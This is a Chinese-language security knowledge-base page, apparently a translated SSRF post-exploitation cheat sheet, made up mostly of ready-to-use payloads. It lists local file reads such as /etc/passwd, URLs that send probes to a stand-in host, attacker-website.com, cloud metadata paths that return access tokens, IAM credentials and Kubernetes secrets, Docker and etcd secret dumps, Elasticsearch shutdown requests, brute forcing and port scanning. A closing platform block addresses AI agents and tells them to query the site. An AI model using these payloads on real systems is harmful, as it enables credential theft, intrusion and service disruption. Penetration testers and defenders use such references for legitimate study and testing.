> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/server-side-request-forgery/post-exploitation.md).

# 后渗透利用

## 滥用 URL 方案

### 访问本地文件

您可以使用 `file` 方案来获取服务器上文件的内容：

```http
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
```

### 制作 TCP 数据包

您可以使用 `ldap`、`git` 或 `dict` URL 方案来创建到基于 TCP 的服务的明文连接。

```bash
$ curl -v dict://127.0.0.1:1337/HELLO
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0)
```

```bash
$ nc -l -v 1337
CLIENT libcurl 7.64.1
HELLO
QUIT
```

### 制作 UDP 数据包

您可以通过使用 TFTP 协议发送几乎任意的 UDP 数据包。

```http
tftp://attacker-website.com:1337/TESTUDPPACKET
```

```bash
$ nc -l -v -u 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout6
```

这可用于制作对各种 UDP 服务的请求，如 Memcached。

### Java 目录列表

Java 通过 `file://` 方案列出目录，以下代码将打印目录列表：

```java
URL url = new URL("file:///etc/");
String data = new String(IOUtils.toByteArray(url));
System.out.println(data);
```

参考：

* [@phithon\_xg 推文](https://twitter.com/phithon_xg/status/1499414715033735169)

### 泄露内部域名

当连接到 SMTP 时，内部域名可能会从第一行泄露。为此，连接到 `http://127.0.0.1:25` 或一些带有 SMTP 可用的内部 IP 地址 `http://10.0.0.6:25`，并从第一行获取内部域名：`220 subdomain.internal-host.com ESMTP Sendmail`

### TLS 字段注入

TLS 允许您在服务器名称指示或会话 ID 等字段中走私任意数据。您可以使用此方法将 payload 传递到 http/基于文本的服务。

参考：

* [SNI 注入：SSRF 的新时代 - 在流行编程语言中利用 URL 解析器！](https://example.com/ssrf-url-parser.pdf)
* [DEF CON Safe Mode - Joshua Maddux - 当 TLS 攻击您时](https://www.youtube.com/watch?v=qGpAJxfADjo) + [TLS Poison](https://github.com/jmdx/TLS-poison)

### 检索协议版本

您可以通过向您的服务器发送请求来枚举不同协议的版本。

```http
ftp://attacker-website.com
sftp://attacker-website.com:1337
dict://attacker-website.com:1337
```

```bash
$ nc -v -l 1337
Connection from [12.234.12.234] port 1337 [tcp/*] accepted (family 2, sport 31337)
SSH-2.0-libssh2_0.1.2
```

### 滥用 Gopher

Gopher 是一种为分发、搜索和检索文档而设计的通信协议。Gopher 提供了广泛的滥用选项，参见[更多](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#gopher)。

## 滥用云元数据

### Amazon Web Services

{% embed url="<https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>" %}

{% embed url="<https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.170.2/v2/metadata
http://169.254.170.2/v2/stats
http://169.254.170.2/v2/credentials/
```

参考：

* [将 SSRF 提升到 RCE：检索 AWS 元数据并用于 RCE](https://sanderwind.medium.com/escalating-ssrf-to-rce-7c0147371c40)
* [通过破坏工作节点的实例角色在 AWS Elastic Kubernetes Service (EKS) 中提升权限](https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/)

### Google Cloud

{% embed url="<https://cloud.google.com/compute/docs/metadata>" %}

{% hint style="info" %}
在 API v1 上需要头部 `Metadata-Flavor: Google` 或 `X-Google-Metadata-Request: True` v1beta1 服务器和 v0.1 元数据服务器端点已于 2020 年 9 月 30 日弃用
{% endhint %}

```http
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Google 允许递归拉取
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=json
# SSH 公钥
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys?alt=json
# 访问令牌
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Kubernetes 密钥
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json
```

参考：

* [Gitlab 红队：GCP 后渗透](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes/-/blob/master/gcp-post-exploitation-feb-2020/README.md)
* [Shopify：Exchange 中的 SSRF 导致所有实例的 ROOT 访问](https://hackerone.com/reports/341876)
* [Gitlab：首次运行后 CI 中的 SSRF](https://hackerone.com/reports/369451)

### Microsoft Azure

{% embed url="<https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service>" %}

{% hint style="info" %}
需要头部 `Metadata: true`
{% endhint %}

```http
http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/instance?api-version=2018-10-01
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2018-10-01&format=text
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
```

### DigitalOcean

{% embed url="<https://developers.digitalocean.com/documentation/metadata/>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
```

### Packet Cloud

{% embed url="<https://www.packet.com/developers/docs/servers/key-features/metadata/>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
https://metadata.packet.net/metadata
```

### 阿里云

{% embed url="<https://www.alibabacloud.com/help/doc-detail/49122.htm>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```

### OpenStack

{% embed url="<https://docs.openstack.org/nova/latest/user/metadata.html>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2018-08-27/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json
http://169.254.169.254/openstack/2018-08-27/user_data
# EC2 兼容元数据
http://169.254.169.254/2009-04-04/meta-data/
http://169.254.169.254/2009-04-04/meta-data/public-keys/
http://169.254.169.254/2009-04-04/meta-data/public-keys/0/openssh-key
```

### Oracle Cloud

{% embed url="<https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html>" %}

{% embed url="<https://docs.cloud.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm>" %}

{% hint style="info" %}
不需要头部
{% endhint %}

```http
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

http://169.254.169.254/opc/v1/instance/
```

## Docker

[Docker Engine API](https://docs.docker.com/engine/api/v1.40/) 通常在端口 `2375` 和 `2376`（tls）上可用。您可以使用以下路径来验证 Docker Engine API 的存在：

```http
/v1.40/info
/v1.40/containers/json
/v1.40/secrets
/v1.40/services
# 使用不带版本前缀的 API 已弃用，将在未来版本中移除
/containers/json
/secrets
/services
```

与 dockerd 交互的简单示例（另请参见：[守护进程套接字选项](https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option)）：

```bash
$ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```

## Docker 注册表

Docker 注册表通常在端口 `5000` 上可用。Docker 注册表可以获取对存储在容器镜像中的敏感信息的读取权限和/或修改存储的容器镜像。

对于枚举仓库/镜像，请注意以下工具：

* [reg](https://github.com/genuinetools/reg) - Docker 注册表 v2 命令行客户端和仓库列表生成器，具有安全检查功能
* [regclient](https://github.com/regclient/regclient) - Docker 和 OCI 注册表客户端，以及使用这些库的工具
* [go-pillage-registries](https://github.com/nccgroup/go-pillage-registries) - 面向渗透测试者的 Docker 注册表工具，用于枚举和拉取镜像

## Kubernetes

```http
# 调试服务 https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics
```

Kubernetes [etcd API](https://etcd.io/docs/v2/api/) 可以包含 API 密钥、内部 IP 和端口：

```bash
$ curl -L http://127.0.0.1:2379/version
$ curl http://127.0.0.1:2379/v2/keys/?recursive=true
```

{% embed url="<https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes/-/blob/master/K8s-GKE-attack-notes/README.md>" %}

## kubelet

kubelet 通常在默认端口 `10250` 上可用。

{% embed url="<https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster>" %}

## kubelet 只读

kubelet 只读通常在默认端口 `10255` 上可用。此端口通常只在较旧的集群上看到，但如果存在，可以提供一些有用的信息泄露。它是一个 HTTP API，没有加密且没有身份验证要求，因此很容易与之交互。

最有用的端点是 `/pods/`：

```bash
$ curl http://[IP]:10255/pods/ | jq
```

## 滥用 FTP

{% embed url="<https://speakerdeck.com/bo0om/ftp2rce>" %}

## 凭证暴力破解

SSRF 允许您对使用基本访问认证作为认证机制的资源进行凭证暴力破解。为此，只需使用以下链接：

```http
http://login:password@target-website.com/path/
```

## 使用异常响应枚举内部资源

有时在使用 SSRF 时，您可以依靠异常响应，如果请求执行的响应对您不可用。为此，您需要访问内部资源并测量每个请求的响应时间。响应时间是可能表示资源可用性的间接标志。发送大量请求后，您需要在其中搜索响应时间与其他所有请求不同的那些请求。这种方法允许您盲目暴力破解内部服务、开放端口、目录和文件。

## 端口扫描

您可以使用 `http` 方案进行端口扫描：

```http
http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379
```

## 使用 DNS 进行端口扫描

许多库尝试按照 DNS 记录中的顺序通过 IP 访问资源。例如，如果 DNS 记录如下所示：

```
site.com 172.16.1.1
site.com 172.16.1.2
```

首先将尝试连接到 `172.16.1.1`，如果出现问题，则连接到 `172.16.1.2`。这允许您找出哪些端口是开放的，哪些不是。

为此，您也可以使用服务 [http://1u.ms](https://github.com/neex/1u.ms)。例如，如果您需要查找 `127.0.0.1` 上的可用端口，您可以使用

```
make-127-0-0-1-and-123-123-123-123rr.1u.ms
```

这将允许您更改端口号以确定哪个端口可用。

```
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:22 - 请求未到达 123.123.123.123:22
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:80 - 请求到达 123.123.123.123:80
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:6379 - 请求未到达 123.123.123.123:6379
http://make-127-0-0-1-and-123-123-123-123rr.1u.ms:8080 - 请求到达 123.123.123.123:8080
```

这表明端口 `22` 和 `6379` 在 `127.0.0.1` 上是开放的，因为没有对来自第二个 DNS 记录的 IP 地址的连接尝试。

> 值得注意的是 DNS 服务器在后端解析名称。DNS 服务器可以使用内置的轮询算法来解析域名并更改记录顺序

## ASP.NET

尝试读取 `trace.axd`，它保留对应用程序发出的所有 HTTP 请求的日志。此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息，甚至可能包括用户名和密码。

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972204(v=msdn.10)>" %}

## Apache Druid

Apache Druid 通常在端口 `80`、`8080`、`8888` 和 `8082` 上可用。您可以使用以下路径来验证 Apache Druid 的存在：

```http
/status
/status/health
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
```

{% embed url="<https://druid.apache.org/docs/latest/operations/api-reference.html>" %}

## Apache Solr

Apache Solr 通常在端口 `8983` 上可用。

{% embed url="<https://github.com/veracode-research/solr-injection>" %}

## Apache Struts

Apache Struts 通常在端口 `80`、`443`（tls）、`8080`、`8443`（tls）上可用。

{% embed url="<https://github.com/vulhub/vulhub/tree/master/struts2>" %}

## Apache Tomcat

Apache Tomcat 通常在端口 `80`、`443`（tls）、`8080`、`8443`（tls）上可用。

{% embed url="<https://github.com/vulhub/vulhub/tree/master/tomcat>" %}

{% embed url="<https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/>" %}

## HashiCorp Consul

Consul 通常在端口 `8500` 和 `8501`（tls）上可用。

{% embed url="<https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html>" %}

## Elasticsearch

Elasticsearch 通常在端口 `9200` 上可用。您可以使用以下路径来验证 Elasticsearch 的存在：

```http
/_cluster/health
/_cat/indices
/_cat/health
```

如果您可以发送 POST 请求，您可以尝试通过向以下路径发送 POST 请求来关闭 Elasticsearch 实例：

```http
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
# 从 Elasticsearch 版本 2.x 及更高版本中移除
/_shutdown
```

## Java RMI

Java RMI 通常在端口 `1090`、`1098`、`1099`、`1199`、`4443-4446`、`8999-9010`、`9999` 上可用。允许任意字节的 SSRF 漏洞可用于对 Java RMI 默认组件执行反序列化或代码库攻击。

{% embed url="<https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/>" %}

## JBoss

Jboss 通常在端口 `80`、`443`（tls）、`8080`、`8443`（tls）上可用。

{% embed url="<https://github.com/vulhub/vulhub/tree/master/jboss>" %}

## Jenkins

Jenkins 通常在端口 `80`、`443`（tls）、`8080`、`8888` 上可用。

{% embed url="<https://github.com/vulhub/vulhub/tree/master/jenkins>" %}

## Memcache

Memcache 通常在端口 `11211` 上可用。

{% embed url="<http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html>" %}

{% embed url="<https://www.exploit-db.com/exploits/37815>" %}

## OpenTSDB

OpenTSDB 通常在端口 `4242` 上可用。

{% embed url="<https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html>" %}

{% embed url="<https://github.com/OpenTSDB/opentsdb/issues/2051>" %}

## Oracle PeopleSoft

PeopleSoft 通常在端口 `80` 和 `443`（tls）上可用。

{% embed url="<https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce>" %}

## Oracle WebLogic

WebLogic 通常在端口 `80`、`443`（tls）和 `7001` 上可用。您可以尝试利用已知的漏洞：

{% embed url="<https://github.com/vulhub/vulhub/tree/master/weblogic/>" %}

## Redis

Redis 通常在端口 `6379` 上可用。

{% embed url="<https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/>" %}

{% embed url="<https://paper.seebug.org/975/>" %}

{% embed url="<https://www.mdeditor.tw/pl/pBy0>" %}

## 远程调试器

{% embed url="<https://www.acunetix.com/blog/web-security-zone/remote-debuggers-as-an-attack-vector/>" %}

## 参考

* [盲 SSRF 利用](https://lab.wallarm.com/blind-ssrf-exploitation/)
* [盲 SSRF 链术语表](https://github.com/assetnote/blind-ssrf-chains)
* [工具：SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
* [容器安全站点：攻击者 - 外部清单](https://www.container-security.site/attackers/external_attacker_checklist.html)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/server-side-request-forgery/post-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
